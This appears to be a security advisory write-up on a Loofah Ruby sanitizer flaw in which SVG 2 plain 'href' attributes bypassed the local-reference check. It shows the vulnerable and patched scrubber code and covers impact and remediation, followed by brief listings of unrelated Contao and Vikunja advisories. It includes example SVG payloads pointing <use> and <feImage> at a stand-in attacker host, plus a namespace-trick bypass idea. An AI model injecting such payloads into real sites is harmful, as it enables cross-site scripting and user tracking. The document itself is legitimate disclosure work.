Jul 22, 2026·5 min read·20 visits
Loofah fails to sanitize the SVG 2 plain 'href' attribute, enabling attackers to bypass local-reference restrictions and inject external resources or trigger Cross-Site Scripting.
A security logic flaw in Loofah, a Ruby HTML/XML sanitization library, allowed unauthenticated attackers to bypass local-reference restrictions on SVG elements. Prior to version 2.25.2, Loofah only sanitized the legacy namespaced "xlink:href" attribute when enforcing local URI fragments on SVG elements like "<use>". It did not validate or sanitize the plain, non-namespaced "href" attribute introduced in the SVG 2 standard. This structural omission allowed attackers to construct SVG elements referencing external domains, paving the way for arbitrary resource loading and cross-site scripting (XSS).
The Ruby XML/HTML sanitization library, Loofah, leverages the Nokogiri parsing engine to scrub untrusted user inputs. To defend against resource hijacking, data tracking, and Cross-Site Scripting (XSS), the library implements strict policies on SVG structure manipulation. Specifically, certain SVG elements such as <use>, <feImage>, and <animate> are restricted to internal page references (local URI fragments beginning with #) to prevent the browser from loading external, unvalidated materials.
In the SVG 1.1 specification, linking and resource mapping were primarily handled using the namespaced xlink:href attribute. However, the SVG 2 specification simplified this mechanism by introducing the plain, unnamespaced href attribute. Modern web browsers natively render both forms, treating them as interchangeable.
Because Loofah was only configured to inspect and sanitize the namespaced xlink:href attribute, inputs utilizing the modern SVG 2 href attribute bypassed the sanity checks entirely. This allowed external resource URIs to pass unaltered through the sanitizer, leaving downstream web clients vulnerable to unauthorized connections and arbitrary script execution.
The core vulnerability stems from an incomplete logic constraint within Loofah's attribute scrubbing implementation located in lib/loofah/html5/scrub.rb. When processing incoming SVG components, the scrubber iterates over element nodes and compares them against SafeList::SVG_ALLOW_LOCAL_HREF, a predefined set of elements permitted to reference internal fragments.
To ensure security, any element utilizing a link attribute was checked against a regular expression /^\s*[^#\s].*/m. This regular expression matches any string that does not begin with the # symbol, signaling an external or remote resource. If a match occurred, the attribute node was slated for immediate removal via attr_node.remove.
However, the code conditionally executed this validation check only when the literal string attr_name == "xlink:href" was matched. This tight coupling to the namespaced string meant that when Nokogiri encountered the SVG 2 standard plain href attribute, the condition failed. The scrubber bypassed the validation logic, resulting in the preservation of the untrusted remote URL in the finalized document output.
An analysis of the vulnerable source code in lib/loofah/html5/scrub.rb highlights the implementation flaw:
# Vulnerable Implementation
next unless SafeList::SVG_ALLOW_LOCAL_HREF.include?(node.name) &&
attr_name == "xlink:href" &&
attr_node.value =~ /^\s*[^#\s].*/m
attr_node.removeIf the incoming payload contains <use href="http://attacker.com/evil.svg#payload">, the parser extracts attr_name as "href". Because the string equality test attr_name == "xlink:href" evaluates to false, the entire condition resolves to false. The execution flows to the next attribute, bypassing the attr_node.remove instruction completely.
To resolve this, the maintainers defined a unified set containing both namespaces in lib/loofah/html5/safelist.rb:
# Patched SafeList Additions
SVG_HREF_ATTRIBUTES = Set.new([
"xlink:href",
"href",
])This collection is integrated into the updated scrubber logic in lib/loofah/html5/scrub.rb:
# Patched Implementation
next unless SafeList::SVG_ALLOW_LOCAL_HREF.include?(node.name) &&
SafeList::SVG_HREF_ATTRIBUTES.include?(attr_name) &&
attr_node.value =~ /^\s*[^#\s].*/m
attr_node.removeUnder this patched flow, any attribute whose name is registered in SVG_HREF_ATTRIBUTES is systematically evaluated against the remote resource regex, closing the bypass vector.
Exploiting this vulnerability requires sending a constructed SVG fragment containing a targeted element such as <use> or <feImage> that utilizes the plain href attribute. Because Loofah leaves this attribute unmodified, the resulting payload is sent directly to the client browser.
In a typical scenario, an attacker injects a <use> element pointing to an external domain hosting a malicious SVG file with embedded JavaScript. Under standard browser security restrictions, cross-origin resource access may block external XML documents unless specifically permitted by CORS or if the application shares the same origin.
An alternative attack vector targets the <feImage> element. By embedding <feImage href="https://attacker.com/beacon.png" />, an attacker can bypass traditional tracking protection. When the client loads the document, the browser requests the tracking resource, leaking the user's IP address, browser metadata, and session-related telemetry.
The primary impact of this vulnerability is the breakdown of the application's sanitization guarantees, leading to Cross-Site Scripting (XSS) and unauthorized external resource load operations. If the application handles user-uploaded documents or allows arbitrary markdown/HTML inputs, this bypass can lead to sensitive cookie extraction, local session hijacking, and defacement of the hosting platform.
The vulnerability is classified as CVSS 4.7 (Medium) because exploitation is subject to structural browser controls. Cross-origin restrictions restrict the execution of external SVG scripts in several modern browser runtimes, requiring specific environment configurations or same-origin deployment schemes to achieve fully interactive remote code execution.
Because this vulnerability was assigned a GitHub Security Advisory (GHSA-9WJQ-CP2P-HRGF) rather than a CVE identifier, standard EPSS (Exploit Prediction Scoring System) metrics do not track this vector. No active, automated exploitation campaigns have been observed in the wild, classifying the current threat index as analytical and proof-of-concept.
The definitive remediation for this vulnerability is upgrading the Loofah dependency to version 2.25.2 or later. This release correctly normalizes all input variations, ensuring that modern and legacy SVG standard linkages undergo the same validation sequence.
While this patch is highly effective, security engineers should monitor for parser discrepancies between Nokogiri (based on libxml2) and the client browser's rendering engine. If Nokogiri resolves nested XML namespaces differently than a target browser, specialized namespace manipulation (e.g., <svg xmlns:custom="http://www.w3.org/1999/xlink"><use custom:href="..." />) could theoretically lead to secondary bypasses.
To establish depth of defense, applications should deploy a strict Content Security Policy (CSP). Setting object-src 'none' and specifying restricted source directives for img-src limits the browser's ability to fetch and execute external SVG links, regardless of the sanitization state of the markup.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
loofah rubygems | < 2.25.2 | 2.25.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 4.7 (Medium) |
| EPSS Score | Not Applicable |
| Impact | Cross-Site Scripting (XSS) / Resource Injection |
| Exploit Status | Proof-of-Concept |
| KEV Status | Not Listed |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.
Contao Open Source CMS versions 4.0.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 contain a Cross-Site Request Forgery (CSRF) vulnerability in backend parameter handling. The `RequestTokenListener` component validates anti-CSRF tokens solely for HTTP POST requests, while GET-based declarative guards run only when an `act` parameter is present in the query string. Consequently, custom backend actions dispatched via alternative parameters such as `key=` can execute without CSRF token verification when triggered by an authenticated user.
Contao CMS versions 4.1.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 fail to validate form submission tokens and enforce rate limiting when processing activation email resend requests via HTTP POST, enabling resource exhaustion and account state enumeration.
An information disclosure vulnerability in Contao CMS allows unauthenticated site visitors to view protected page titles, URLs, and text excerpts through search queries when protected page indexing is disabled after previously being enabled.
In Vikunja prior to version 2.6.0, relation creation via the CalDAV endpoint fails to invoke the TaskRelation.CanCreate authorization check. This missing access control allows an authenticated user to establish unauthorized relationships and perform write operations against any task, provided its unique identifier (UID) is known.
A cross-project information disclosure vulnerability in Vikunja allows authenticated users with read access to one project to view private task details from unauthorized projects via subtask expansion parameters.